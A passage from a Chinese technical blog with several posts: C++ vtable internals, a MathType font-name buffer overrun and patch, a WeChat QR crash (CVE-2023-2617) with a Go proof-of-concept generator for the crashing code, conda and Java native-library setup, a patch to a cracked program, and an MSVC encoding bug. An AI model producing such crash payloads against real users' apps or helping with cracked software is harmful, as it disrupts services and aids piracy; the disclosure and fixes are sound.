 this->vptr_Base1 = vtable_for_Derived+16;
 this->vptr_Base2 = vtable_for_Derived_thunk_1+16;
 this->vptr_Base3 = vtable_for_Derived_thunk_2+16;

 // actual user defined Derived::~Derived

 Base3::~Base3(this + offset_vptr_Base3);
 Base2::~Base2(this + offset_vptr_Base2);
 Base1::~Base1(this + offset_vptr_Base1);
}

Base2, Base3 对应的 vptr 指向各自的 virtual thunk ，其中的函数只是实际函数的跳板：

.data:3C48 public _ZTV7Derived ; weak
.data:3C48 ; `vtable for'Derived
.data:3C48 _ZTV7Derived dq 0 ; offset to this
.data:3C50 dq offset _ZTI7Derived ; `typeinfo for'Derived
.data:3C58 off_3C58 dq offset _ZN7DerivedD2Ev
.data:3C58 ; DATA XREF: Derived::~Derived()+C↑o
.data:3C58 ; Derived::Derived(void)+38↑o
.data:3C58 ; Derived::~Derived()
.data:3C60 dq offset _ZN7DerivedD0Ev ; Derived::~Derived()
.data:3C68 dq offset _ZN7Derived4testEi ; Derived::test(int)
.data:3C70 dq -16 ; offset to this
.data:3C78 dq offset _ZTI7Derived ; `typeinfo for'Derived
.data:3C80 off_3C80 dq offset _ZThn16_N7DerivedD1Ev
.data:3C80 ; DATA XREF: Derived::~Derived()+1A↑o
.data:3C80 ; Derived::Derived(void)+46↑o
.data:3C80 ; `non-virtual thunk to'Derived::~Derived()
.data:3C88 dq offset _ZThn16_N7DerivedD0Ev ; `non-virtual thunk to'Derived::~Derived()
.data:3C90 dq offset _ZThn16_N7Derived4testEi ; `non-virtual thunk to'Derived::test(int)
.data:3C98 dq -32 ; offset to this
.data:3CA0 dq offset _ZTI7Derived ; `typeinfo for'Derived
.data:3CA8 off_3CA8 dq offset _ZThn32_N7DerivedD1Ev
.data:3CA8 ; DATA XREF: Derived::~Derived()+29↑o
.data:3CA8 ; Derived::Derived(void)+55↑o
.data:3CA8 ; `non-virtual thunk to'Derived::~Derived()
.data:3CB0 dq offset _ZThn32_N7DerivedD0Ev ; `non-virtual thunk to'Derived::~Derived()
.data:3CB8 dq offset _ZThn32_N7Derived4testEi ; `non-virtual thunk to'Derived::test(int)

MathType 因字体名称过长而崩溃的 Bug

Fri, 21 Jul 2023 14:02:00 +0800

MathType 版本：7.4.2.480 （从 6.9 到最新的 7.6 都有这个 bug ）

问题：在安装“阿里巴巴普惠体”后， MathType 启动时崩溃退出，无错误信息显示。

附加调试器，错误为 STATUS_STACK_BUFFER_OVERRUN ，调用栈如下：

0050CE6D 是栈安全检查，出错位置在 00457D94 。根据调用分析可知函数是 EnumFontFamiliesExA 的回调函数。IDA 快速分析一下：

字符串复制时依赖了 ‘\0’ ，但根据微软文档，字符串如果长度超出最大长度，那么末尾就会被截断，所以可能不存在 ‘\0’ （这里微软文档写得不清楚）：

LOGFONTA (wingdi.h)

lfFaceName[LF_FACESIZE]

A null-terminated string that specifies the typeface name of the font. The length of this string must not exceed 32 TCHAR values, including the terminating NULL. The EnumFontFamiliesEx function can be used to enumerate the typeface names of all currently available fonts. If lfFaceName is an empty string, GDI uses the first font that matches the other specified attributes.

阿里巴巴普惠体中最长的字体名是 阿里巴巴普惠体 2.0 95 ExtraBold ，利用 python 计算 len(s).encode('gbk') 为 31 ，加上 ‘\0’ 正好 32 ，和 LF_FACESIZE 一样大，为什么还会出现这样的问题？

在调试器中打条件断点：

字体本身是正常的：

但是对于东亚字体，自动产生一个竖排字体，其名称前面多一个 ‘@’ ，所以刚好超出了字体的长度限制，导致发生崩溃。。

修复：

找一块内存区域写代码，手动在变量最后填上 ‘\0’ ，这里选了上一个函数末尾由于对齐留下的空间：

最好的方法还是做一下 dll proxy ，否则会破坏数字签名。

让微信崩溃的二维码

Mon, 24 Apr 2023 14:37:39 +0800

更新：漏洞编号 CVE-2023-2617

早上看见了那张说是能让微信和QQ扫码闪退的二维码，试验了下果然是这样。这里放张自制的

有一些人就开始上手机调之类的，手机上的那一坨C++编译出来以后鬼能看得懂啊，而且微信的扫码代码是开源的，就在 https://github.com/opencv/opencv_contrib/blob/4.x/modules/wechat_qrcode/ ，直接看就好了。

配置环境，上代码调试一下

// .......
 auto path = R"(C:\Users\Azuk\Documents\code\qrtest\build\Debug\a.png)";
 img = imread(path);
// ......
 auto res = detector->detectAndDecode(img, points);
// ......

调试器一挂马上看见问题，在 wechat_qrcode/src/zxing/qrcode/decoder/decoded_bit_stream_parser.cpp:198 行，有

// try to repair count data if count data is invalid
if (count * 8 > available) {
 count = (available + 7 / 8);
}
ArrayRef<char> bytes_(count);
char* readBytes = &(*bytes_)[0]; // CRASH HERE
for (int i = 0; i < count; i++) {
 // readBytes[i] = (char) bits.readBits(8);
 int readBits = available < 8 ? available : 8;
 readBytes[i] = (char)bits.readBits(readBits, err_handler);
}

count 为 0，这个时候还在分配 readBytes 读了它第 1 个元素，所以崩溃了。简单修复方法就是 count <= 0 那么 return 掉。

为什么会这样呢？二维码中数据分为不同区段（segment），其中有一个比较灵活的字节段（byte segment）。在二维码原始信息中字节段这样储存：

Version 1-9:

Mode	Char Count	Data
0100 (Byte)	00000001 (8 bits in Byte or Kanji Mode)	(…)

所以当我们构建一个这样的二维码：

（正常段）+（字节模式指示位 4 + 长度位 00000001（8位）），并让这段数据刚好占用完二维码的所有数据容量，这样扫码的程序看到字符数量应该有1，会来读这个段，但之后又没有数据，从而造成了上面的错误。

为什么要用二维码的字节段呢？因为字节段的长度位正好是8位，其实日语段用的也是8位，同样可以。数字模式是10位、字符数字段是9位，触发不了这个 bug （但没看有没有其他的 bug）。

在 opencv_contrib 那提交了个简单的 pr : https://github.com/opencv/opencv_contrib/pull/3479

刚看了一下自己手速很快啊，其他人在后面也交了 pr ，没再看他们怎么搞的了，感觉够用

恶意二维码 POC:

用到了一些 github.com/skip2/go-qrcode 的私有代码：

func main() {
 qrcode.GenEvil(256, "qr.png")
}
func GenEvil(size int, filename string) error {
 var q *QRCode
 var encoder *dataEncoder
 var encoded *bitset.Bitset
 var chosenVersion *qrCodeVersion
 encoder = &dataEncoder{
 minVersion: 1,
 maxVersion: 1,
 numericModeIndicator: bitset.New(b0, b0, b0, b1),
 alphanumericModeIndicator: bitset.New(b0, b0, b1, b0),
 byteModeIndicator: bitset.New(b0, b1, b0, b0),
 numNumericCharCountBits: 10,
 numAlphanumericCharCountBits: 9,
 numByteCharCountBits: 8,
 }
 encoded = bitset.New()
 // padding
 encoded.Append(encoder.modeIndicator(dataModeByte))
 l := 16
 encoded.AppendUint32(uint32(l), encoder.charCountBits(dataModeByte))
 for i := 0; i < l; i++ {
 encoded.AppendByte(byte(1), 8)
 }
 // evil
 encoded.Append(encoder.modeIndicator(dataModeByte))
 encoded.AppendUint32(uint32(1), encoder.charCountBits(dataModeByte))
 //encoded.AppendByte(byte(0), 8)
 chosenVersion = &qrCodeVersion{
 version: 1,
 level: 0,
 dataEncoderType: 0,
 block: []block{{1, 26, 19}},
 numRemainderBits: 0,
 }
 fmt.Printf("%+v", chosenVersion)
 q = &QRCode{
 Content: "",
 Level: Low,
 VersionNumber: chosenVersion.version,
 ForegroundColor: color.Black,
 BackgroundColor: color.White,
 encoder: encoder,
 data: encoded,
 version: *chosenVersion,
 }
 return q.WriteFile(size, filename)
}

Conda 多用户配置

Fri, 21 Apr 2023 17:46:59 +0800

先安装 conda ，这里用了 root 用户，安装后的文件都是 root:root 用户/组，保证文件不会被随便修改。

把 conda init 生成的代码粘贴到 /etc/profile.d/conda.sh:

# >>> conda initialize >>>
# !! Contents within this block are managed by 'conda init' !!
__conda_setup="$('/data/opt/miniconda3/bin/conda' 'shell.bash' 'hook' 2> /dev/null)"
if [ $? -eq 0 ]; then
 eval "$__conda_setup"
else
 if [ -f "/data/opt/miniconda3/etc/profile.d/conda.sh" ]; then
 . "/data/opt/miniconda3/etc/profile.d/conda.sh"
 else
 export PATH="/data/opt/miniconda3/bin:$PATH"
 fi
fi
unset __conda_setup
# <<< conda initialize <<<

编辑 /etc/bash.bashrc ，加入：

source /etc/profile.d/conda.sh

这样 non-login shell 也能正常运行 conda 。

先关掉 auto_activate_base ，防止有人不小心往 base 里装包（然后发现装不上）。

root:~# conda config --system --set auto_activate_base false
root:~# conda config --show-sources
==> /data/opt/miniconda3/.condarc <==
auto_activate_base: False

下面的设置需要在所有人都受信任的环境下做！硬盘够了就建议不设置，让每个人的环境都放自己目录里面。安装 acl 包，设置文件夹权限

# 设置 envs 文件夹权限
root:~# sudo chgrp $YOURGROUP /data/opt/miniconda3/envs
root:~# sudo chmod 775 /data/opt/miniconda3/envs
# 让 conda 优先在 conda root 下的 envs 文件夹里建包，需要设置一个 magic file 的写权限
# https://github.com/conda/conda/blob/7ec97d67e05f63260628c33647c68cf455dfbc40/conda/base/context.py#L644
root:~# sudo chgrp $YOURGROUP /data/opt/miniconda3/conda-meta/history
root:~# sudo chmod 775 /data/opt/miniconda3/conda-meta/history
# 设置 pkgs 文件夹权限，包括下载的包、缓存
root:~# sudo chmod g+s pkgs
root:~# sudo setfacl -d -R -m g::rwx /data/opt/miniconda3/pkgs
root:~# sudo setfacl -d -R -m o::rx /data/opt/miniconda3/pkgs

将 native library 打包进 jar 里

Tue, 11 Apr 2023 22:15:47 +0800

有一个 Java 写的程序，需要在 Spark 上跑，所以运行之前没法设置环境变量，也没办法设置 Java 运行参数（不知道是否真的不能设置，但甲方这么说，无奈啊），需要在运行的时候把 native library 加载起来。之前没有怎么写过 Java ，琢磨了一下反正也写出来了。

Tensorflow Java 1.14.0 的 bug

Tensorflow 在运行的时候， Linux 报：

Exception in thread 'main' java.lang.UnsatisfiedLinkError: /tmp/tensorflow_native_libraries-1680337452521-0/libtensorflow_jni.so: libtensorflow_framework.so.1: 无法打开共享文件：没有那个文件或目录
at ...
at java.lang.System.load(System.java:1100)
at org.tensorflow.NativeLibrary.load(NativeLibrary.java:101)
at ...

看这个 PR tensorflow/tensorflow#32829 ， tensorflow 解压了 libtensorflow_framework.so ，但 libtensorflow_jni.so 链接到的是 libtensorflow_framework.so.1 这个文件。

在这个版本的话，要想修复这个问题有很多种办法，比如用 maven-plugin-shade 在打包的时候把这个类替换掉。但是甲方还是不同意～另一个简单的方法就是抢先在 tensorflow 初始化前先把 libtensorflow_framework.so 加载进来，同 tf 加载的套路一样，从资源文件 jar 里把 so 解压出来，然后调用 System.load 加载就 OK 了。

JSCIP 的编译和打包

之所以之前那么加载是 OK 的，是因为如果一个动态链接库已经被 Java 加载了，那么依赖它的动态链接库就可以直接用内存中的这个库，而不会再重新从文件系统中再加载。这就意味着不能直接用 conda-forge 打包的 SCIP ，或者是直接用 conda-forge 的工具链去编译。（倒不是说 conda-forge 的工具链不能编译，而是 conda-forge 里包的依赖关系做得太烂，很多 native 的包依赖高版本 glibc ，而没有把 sysroot 写进依赖里。）

目标机器是 CentOS 7 ，为了简单本地搭了一下环境：

GCC 9 从 centos scl 里来，虽然最后 C++ 遇到了 C++11 ABI 不兼容的问题，但貌似问题不大（为啥啊？）
CMake 3 从 EPEL 里来
Boost 从 Boost 网站上来
TBB 从 GitHub 上来
其他一些依赖也从 EPEL 里来

cmake .. -DTBB_DIR="$(pwd)/../../tbb2019_20190320oss" -DBOOST_INCLUDEDIR=/home/azuk/sciptest/scip2/boost_1_81_0 -DBOOST_LIBRARYDIR=/home/azuk/sciptest/scip2/boost_1_81_0/libs

编译 papilo 报错了，但是不想研究为啥，因为 libscip 编译出来了。但是 SCIP 不应该依赖 SoPlex 吗，我不理解啊。。

之后就是 ldd 把依赖找出来，打进一个 jar 包里，等需要用的时候解压出来就行了。

参考了 tensorflow 的 NativeLibrary.java 瞎编的：

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class NativeLibrary {
 private static boolean loaded = false;
 private static File tempPath = null;

 public static void load() {
 if (loaded) return;
 log(String.format("classpath: %s", System.getProperty ("java.class.path")));
 switch (os()) {
 case "windows":
 loadLibrary("tbb.dll");
 loadLibrary("libscip.dll");
 loadLibrary("jscip.dll");
 break;
 case "linux":
 loadLibrary("libtinfo.so.5");
 loadLibrary("libz.so.1");
 loadLibrary("libpord-5.3.so");
 loadLibrary("libquadmath.so.0");
 loadLibrary("libgfortran.so.3");
 loadLibrary("libgmp.so.10");
 loadLibrary("libgmpxx.so.4");
 loadLibrary("libblas.so.3");
 loadLibrary("libbz2.so.1");
 loadLibrary("libdl.so.2");
 loadLibrary("libreadline.so.6");
 loadLibrary("libtbb.so.2");
 loadLibrary("libgomp.so.1");
 loadLibrary("libscotcherr.so.0");
 loadLibrary("libscotch.so.0");
 loadLibrary("libmetis.so.0");
 loadLibrary("libmpiseq-5.3.so");
 loadLibrary("libesmumps.so.0");
 loadLibrary("libscotchmetis.so.0");
 loadLibrary("libopenblas.so.0");
 loadLibrary("libmumps_common-5.3.so");
 loadLibrary("libdmumps-5.3.so");
 loadLibrary("libipopt.so.3");
 loadLibrary("libscip.so.8.0");
 loadLibrary("libjscip.so");
 break;
 }
 loaded = true;
 }

 private static void log(String msg) {
 System.err.println("NativeLibrary: " + msg);
 }
 private static void loadLibrary(String libName) {
 final String jniLibName = libName;
 log(String.format("Load library %s", jniLibName));
 final String resourceName = makeResourceName(jniLibName);


 InputStream jniResource = NativeLibrary.class.getResourceAsStream(resourceName);
 if (jniResource == null) {
 jniResource = NativeLibrary.class.getClass().getResourceAsStream(resourceName);
 }
 if (jniResource == null) {
 throw new UnsatisfiedLinkError("Native library not found");
 }

 String libPath;
 try {
 if (tempPath == null) {
 tempPath = createTemporaryDirectory();
 tempPath.deleteOnExit();
 }
 final String tempDirectory = tempPath.getCanonicalPath();
 libPath = extractResource(jniResource, jniLibName, tempDirectory);
 } catch (IOException e) {
 throw new UnsatisfiedLinkError("Unable to extract native library.");
 }

 System.load(libPath);
 }

 private static String os() {
 final String p = System.getProperty("os.name").toLowerCase();
 if (p.contains("linux")) {
 return "linux";
 } else if (p.contains("os x") || p.contains("darwin")) {
 return "darwin";
 } else if (p.contains("windows")) {
 return "windows";
 } else {
 return p.replaceAll("\\s", "");
 }
 }

 private static String architecture() {
 final String arch = System.getProperty("os.arch").toLowerCase();
 return (arch.equals("amd64")) ? "x86_64" : arch;
 }

 private static String makeResourceName(String baseName) {
 return String.format("/%s-%s/", os(), architecture()) + baseName;
 }

 private static String extractResource(
 InputStream resource, String resourceName, String extractToDirectory) throws IOException {
 final File dst = new File(extractToDirectory, resourceName);
 dst.deleteOnExit();
 final String dstPath = dst.toString();
 final long nbytes = copy(resource, dst);
 return dstPath;
 }

 private static long copy(InputStream src, File dstFile) throws IOException {
 FileOutputStream dst = new FileOutputStream(dstFile);
 try {
 byte[] buffer = new byte[1 << 20]; // 1MB
 long ret = 0;
 int n = 0;
 while ((n = src.read(buffer)) >= 0) {
 dst.write(buffer, 0, n);
 ret += n;
 }
 return ret;
 } finally {
 dst.close();
 src.close();
 }
 }

 private static File createTemporaryDirectory() {
 File baseDirectory = new File(System.getProperty("java.io.tmpdir"));
 String directoryName = "jscip-" + System.currentTimeMillis() + "-";
 for (int attempt = 0; attempt < 1000; attempt++) {
 File temporaryDirectory = new File(baseDirectory, directoryName + attempt);
 if (temporaryDirectory.mkdir()) {
 return temporaryDirectory;
 }
 }
 throw new IllegalStateException(
 "Could not create a temporary directory (tried to make "
 + directoryName
 + "*) to extract TensorFlow native libraries.");
 }

}

报错日志

最后是编译时的报错日志，反正能用不研究了：

[ 15%] Linking CXX executable ../../../bin/soplex_c_testing
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/unit_test.dir/TestMain.cpp.o: in function `Catch::Matchers::Floating::WithinUlpsMatcher::describe() const':
TestMain.cpp:(.text+0xc155): undefined reference to `std::basic_stringstream<char, std::char_traits<char>, std::allocator<char> >::basic_stringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/unit_test.dir/TestMain.cpp.o: in function `Catch::ReusableStringStream::~ReusableStringStream()':
TestMain.cpp:(.text+0x192c2): undefined reference to `std::basic_ostringstream<char, std::char_traits<char>, std::allocator<char> >::basic_ostringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/unit_test.dir/TestMain.cpp.o: in function `Catch::ReusableStringStream::ReusableStringStream()':
TestMain.cpp:(.text+0x194b1): undefined reference to `std::basic_ostringstream<char, std::char_traits<char>, std::allocator<char> >::basic_ostringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: TestMain.cpp:(.text+0x19553): undefined reference to `std::basic_ostringstream<char, std::char_traits<char>, std::allocator<char> >::basic_ostringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: TestMain.cpp:(.text+0x195c2): undefined reference to `std::basic_ostringstream<char, std::char_traits<char>, std::allocator<char> >::basic_ostringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/unit_test.dir/TestMain.cpp.o: in function `Catch::clara::detail::BasicResult<Catch::clara::detail::ParseResultType> Catch::clara::detail::convertInto<unsigned int>(std::string const&, unsigned int&)':
TestMain.cpp:(.text._ZN5Catch5clara6detail11convertIntoIjEENS1_11BasicResultINS1_15ParseResultTypeEEERKSsRT_[_ZN5Catch5clara6detail11convertIntoIjEENS1_11BasicResultINS1_15ParseResultTypeEEERKSsRT_]+0x20): undefined reference to `std::basic_stringstream<char, std::char_traits<char>, std::allocator<char> >::basic_stringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/unit_test.dir/TestMain.cpp.o: in function `Catch::clara::detail::BasicResult<Catch::clara::detail::ParseResultType> Catch::clara::detail::convertInto<long>(std::string const&, long&)':
TestMain.cpp:(.text._ZN5Catch5clara6detail11convertIntoIlEENS1_11BasicResultINS1_15ParseResultTypeEEERKSsRT_[_ZN5Catch5clara6detail11convertIntoIlEENS1_11BasicResultINS1_15ParseResultTypeEEERKSsRT_]+0x20): undefined reference to `std::basic_stringstream<char, std::char_traits<char>, std::allocator<char> >::basic_stringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/unit_test.dir/TestMain.cpp.o: in function `Catch::clara::detail::BasicResult<Catch::clara::detail::ParseResultType> Catch::clara::detail::convertInto<double>(std::string const&, double&)':
TestMain.cpp:(.text._ZN5Catch5clara6detail11convertIntoIdEENS1_11BasicResultINS1_15ParseResultTypeEEERKSsRT_[_ZN5Catch5clara6detail11convertIntoIdEENS1_11BasicResultINS1_15ParseResultTypeEEERKSsRT_]+0x20): undefined reference to `std::basic_stringstream<char, std::char_traits<char>, std::allocator<char> >::basic_stringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/unit_test.dir/TestMain.cpp.o: in function `Catch::clara::detail::BasicResult<Catch::clara::detail::ParseResultType> Catch::clara::detail::convertInto<int>(std::string const&, int&)':
TestMain.cpp:(.text._ZN5Catch5clara6detail11convertIntoIiEENS1_11BasicResultINS1_15ParseResultTypeEEERKSsRT_[_ZN5Catch5clara6detail11convertIntoIiEENS1_11BasicResultINS1_15ParseResultTypeEEERKSsRT_]+0x20): undefined reference to `std::basic_stringstream<char, std::char_traits<char>, std::allocator<char> >::basic_stringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/unit_test.dir/papilo/core/PresolveTest.cpp.o: in function `papilo::ParallelColDetection<double>::execute(papilo::Problem<double> const&, papilo::ProblemUpdate<double> const&, papilo::Num<double> const&, papilo::Reductions<double>&, papilo::Timer const&)':
PresolveTest.cpp:(.text._ZN6papilo20ParallelColDetectionIdE7executeERKNS_7ProblemIdEERKNS_13ProblemUpdateIdEERKNS_3NumIdEERNS_10ReductionsIdEERKNS_5TimerE[_ZN6papilo20ParallelColDetectionIdE7executeERKNS_7ProblemIdEERKNS_13ProblemUpdateIdEERKNS_3NumIdEERNS_10ReductionsIdEERKNS_5TimerE]+0x374): undefined reference to `__cxa_throw_bad_array_new_length'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/unit_test.dir/papilo/core/PresolveTest.cpp.o: in function `papilo::ParallelRowDetection<double>::execute(papilo::Problem<double> const&, papilo::ProblemUpdate<double> const&, papilo::Num<double> const&, papilo::Reductions<double>&, papilo::Timer const&)':
PresolveTest.cpp:(.text._ZN6papilo20ParallelRowDetectionIdE7executeERKNS_7ProblemIdEERKNS_13ProblemUpdateIdEERKNS_3NumIdEERNS_10ReductionsIdEERKNS_5TimerE[_ZN6papilo20ParallelRowDetectionIdE7executeERKNS_7ProblemIdEERKNS_13ProblemUpdateIdEERKNS_3NumIdEERNS_10ReductionsIdEERKNS_5TimerE]+0x5ff): undefined reference to `__cxa_throw_bad_array_new_length'
collect2: error: ld returned 1 exit status
make[2]: *** [papilo/test/CMakeFiles/unit_test.dir/build.make:443: papilo/test/unit_test] Error 1
make[1]: *** [CMakeFiles/Makefile2:1329: papilo/test/CMakeFiles/unit_test.dir/all] Error 2
make[1]: *** Waiting for unfinished jobs....
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: ../../../lib/libsoplexshared.so.6.0.2.0: undefined reference to `operator delete(void*, unsigned long)'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: ../../../lib/libsoplexshared.so.6.0.2.0: undefined reference to `std::overflow_error::overflow_error(char const*)'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: ../../../lib/libsoplexshared.so.6.0.2.0: undefined reference to `__cxa_throw_bad_array_new_length'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: ../../../lib/libsoplexshared.so.6.0.2.0: undefined reference to `std::__throw_out_of_range_fmt(char const*, ...)'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: ../../../lib/libsoplexshared.so.6.0.2.0: undefined reference to `std::runtime_error::runtime_error(char const*)'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: ../../../lib/libsoplexshared.so.6.0.2.0: undefined reference to `std::invalid_argument::invalid_argument(char const*)'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: ../../../lib/libsoplexshared.so.6.0.2.0: undefined reference to `std::basic_stringstream<char, std::char_traits<char>, std::allocator<char> >::basic_stringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: ../../../lib/libsoplexshared.so.6.0.2.0: undefined reference to `operator delete[](void*, unsigned long)'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: ../../../lib/libsoplexshared.so.6.0.2.0: undefined reference to `std::domain_error::domain_error(char const*)'
collect2: error: ld returned 1 exit status
make[2]: *** [soplex/tests/c_interface/CMakeFiles/soplex_c_testing.dir/build.make:112: bin/soplex_c_testing] Error 1
make[1]: *** [CMakeFiles/Makefile2:1553: soplex/tests/c_interface/CMakeFiles/soplex_c_testing.dir/all] Error 2
[ 15%] Building C object scip/src/CMakeFiles/libscip.dir/scip/scipgithash.c.o
[ 15%] Building C object scip/src/CMakeFiles/scip.dir/scip/scipgithash.c.o
[ 15%] Linking CXX shared library ../../lib/libscip.so
[ 15%] Linking CXX executable ../../bin/scip
[ 44%] Built target libscip
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/scip.dir/lpi/lpi_spx2.cpp.o: in function `soplex::SPxBasisBase<double>::readBasis(std::istream&, soplex::NameSet const*, soplex::NameSet const*)':
lpi_spx2.cpp:(.text._ZN6soplex12SPxBasisBaseIdE9readBasisERSiPKNS_7NameSetES5_[_ZN6soplex12SPxBasisBaseIdE9readBasisERSiPKNS_7NameSetES5_]+0x606): undefined reference to `std::basic_stringstream<char, std::char_traits<char>, std::allocator<char> >::basic_stringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: lpi_spx2.cpp:(.text._ZN6soplex12SPxBasisBaseIdE9readBasisERSiPKNS_7NameSetES5_[_ZN6soplex12SPxBasisBaseIdE9readBasisERSiPKNS_7NameSetES5_]+0x743): undefined reference to `std::basic_stringstream<char, std::char_traits<char>, std::allocator<char> >::basic_stringstream()'
/opt/rh/devtoolset-9/root/usr/libexec/gcc/x86_64-redhat-linux/9/ld: CMakeFiles/scip.dir/lpi/lpi_spx2.cpp.o: in function `soplex::SPxSolverBase<double>::factorize()':
lpi_spx2.cpp:(.text._ZN6soplex13SPxSolverBaseIdE9factorizeEv[_ZN6soplex13SPxSolverBaseIdE9factorizeEv]+0x352): undefined reference to `std::basic_stringstream<char, std::char_traits<char>, std::allocator<char> >::basic_stringstream()'
collect2: error: ld returned 1 exit status
make[2]: *** [scip/src/CMakeFiles/scip.dir/build.make:5864: bin/scip] Error 1
make[1]: *** [CMakeFiles/Makefile2:2505: scip/src/CMakeFiles/scip.dir/all] Error 2
^Cmake[2]: *** [soplex/src/CMakeFiles/soplex.dir/build.make:83: soplex/src/CMakeFiles/soplex.dir/soplexmain.cpp.o] Interrupt
make[1]: *** [CMakeFiles/Makefile2:1496: soplex/src/CMakeFiles/soplex.dir/all] Interrupt
make: *** [Makefile:183: all] Interrupt

某软件 2.5 破解版中问题的修复

Sat, 01 Apr 2023 22:13:28 +0800

写这篇文章仅供学习软件技术，不放任何链接。

某软件在网络上比较流行的 v2.5 破解版中有个小问题，比如在输入多行公式的时候，撤销公式反而变成了复制公式。这个功能影响还是比较大的，网络上有大神已经研究过并进行了相应的处理： j29778fcdg

但想一想这个事情比较蹊跷的，一个破解把正常的功能给破坏掉了，说明原先的破解就有问题。能不能找一下原来的补丁存在什么问题，直接在原来的补丁上动手脚呢？

对比一下看到只有一个函数不一样（所以还是没弄懂原作者的思路，只看到部分段里的数据不一样了）：

简单对比一下，其实就是把 do-while 循环给打开了

还原回去，发现内存越界访问。

在这里打个断点，发现撤销时也用到了这个函数，猜测这个函数是一个通用的链表清理函数。因为没有完全清理完链表中的内容，发生了撤销时却复制内容的奇怪现象。

由于此时 EAX 为 0 ，推测数据结构中最后一个元素此位置为0。把 operator delete 这个对内存影响较小的函数忽略掉，腾出点位置专门给 EAX 写一个判断。

重新运行程序，问题消失，破解程序没有其他问题了，这个修复方法要比 B 站文章里提到的简单一些。

MSVC 在简体中文 Windows 下的编码问题

Mon, 13 Feb 2023 23:05:39 +0800

前几天有人遇到了这样的问题：在编译 C 程序时，更改 extern 修饰的变量没有起作用，源文件大概如下：

// main.c
#include <stdint.h>
#include <stdio.h>

void f();
int x = 1;

int main()
{
 f();
 printf("%d", x);
 return 0;
}

// f.c
extern int x;

void f()
{
 // 此时这个语句将会如何执行？编译器会报错吗？链接器会报错吗？
 x = 0;
}

具体表现为程序运行输出 1 。我用 gcc 试了下，没有复现这个问题。继续追问，是在 MSVC 编译程序时出现了这个问题。我一试还真是这样！

为了研究哪里出了问题，我把程序整理成类似如上的最小单元，这个问题又神奇地消失了， amazing 。仔细看编译日志，发现了这样一行：

D:\a>cl f.c main.c
Microsoft (R) C/C++ Optimizing Compiler Version 19.34.31935 for x64
Copyright (C) Microsoft Corporation. All rights reserved.
f.c
f.c(1): warning C4819: The file contains a character that cannot be represented in the current code page (936). Save the file in Unicode format to prevent data loss
main.c
Generating Code...
Microsoft (R) Incremental Linker Version 14.34.31935.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:f.exe
f.obj
main.obj

快速在 cmd 里验证一下：

D:\a>type f.c
// f.c
extern int x;
void f()
{
// 姝ゆ椂杩欎釜璇彞灏嗕細濡備綍鎵ц锛熺紪璇戝櫒浼氭姤閿欏悧锛熼摼鎺ュ櫒浼氭姤閿欏悧锛? x = -0.0;
}

果然是编码出了问题。从 Linux 下复制过来的时候换行符只有 LF ，这个时候在 CP936 里换行就消失了。与此对应的是， GB18030(CP54936) 和 UTF-8 (CP65001) 下都能正常工作。

CP936 是一个稍微混乱的东西，一般认为它对应的是 GBK 。详细可看 Code page 936 (Microsoft Windows) 。

解决方法：给 cl 打开 /utf-8 参数

Fixing Mamba for Multiple User Environment

Mon, 19 Dec 2022 22:01:33 +0800

When it comes to python environment management, I would not hesitate to suggest conda as a sysadmin. It just works most of the time for python packages, python itself, and other native stuff. The problem is, conda works, but it’s too slow. Conda finally went beyond my endurance solving a maybe complex environment for a full hour, so I chose mamba, a reimplementation of conda package manager written in C++.

Mamba is great, it’s fast and solving the packages the right way. But as mamba being a reimplementation, we cannot expect it works like an alias. When I tried to set up a multi-user conda environment on my server, a strange error happened:

(base) ~$ mamba install ipython
Looking for: ['ipython']
filesystem error: cannot set file time: Operation not permitted [/opt/mambaforge/pkgs/cache/09cdf8bf.json]
# >>>>>>>>>>>>>>>>>>>>>> ERROR REPORT <<<<<<<<<<<<<<<<<<<<<<
Traceback (most recent call last):
File "/opt/mambaforge/lib/python3.10/site-packages/conda/exceptions.py", line 1118, in __call__
return func(*args, **kwargs)
File "/opt/mambaforge/lib/python3.10/site-packages/mamba/mamba.py", line 936, in exception_converter
raise e
File "/opt/mambaforge/lib/python3.10/site-packages/mamba/mamba.py", line 929, in exception_converter
exit_code = _wrapped_main(*args, **kwargs)
File "/opt/mambaforge/lib/python3.10/site-packages/mamba/mamba.py", line 887, in _wrapped_main
result = do_call(parsed_args, p)
File "/opt/mambaforge/lib/python3.10/site-packages/mamba/mamba.py", line 750, in do_call
exit_code = install(args, parser, "install")
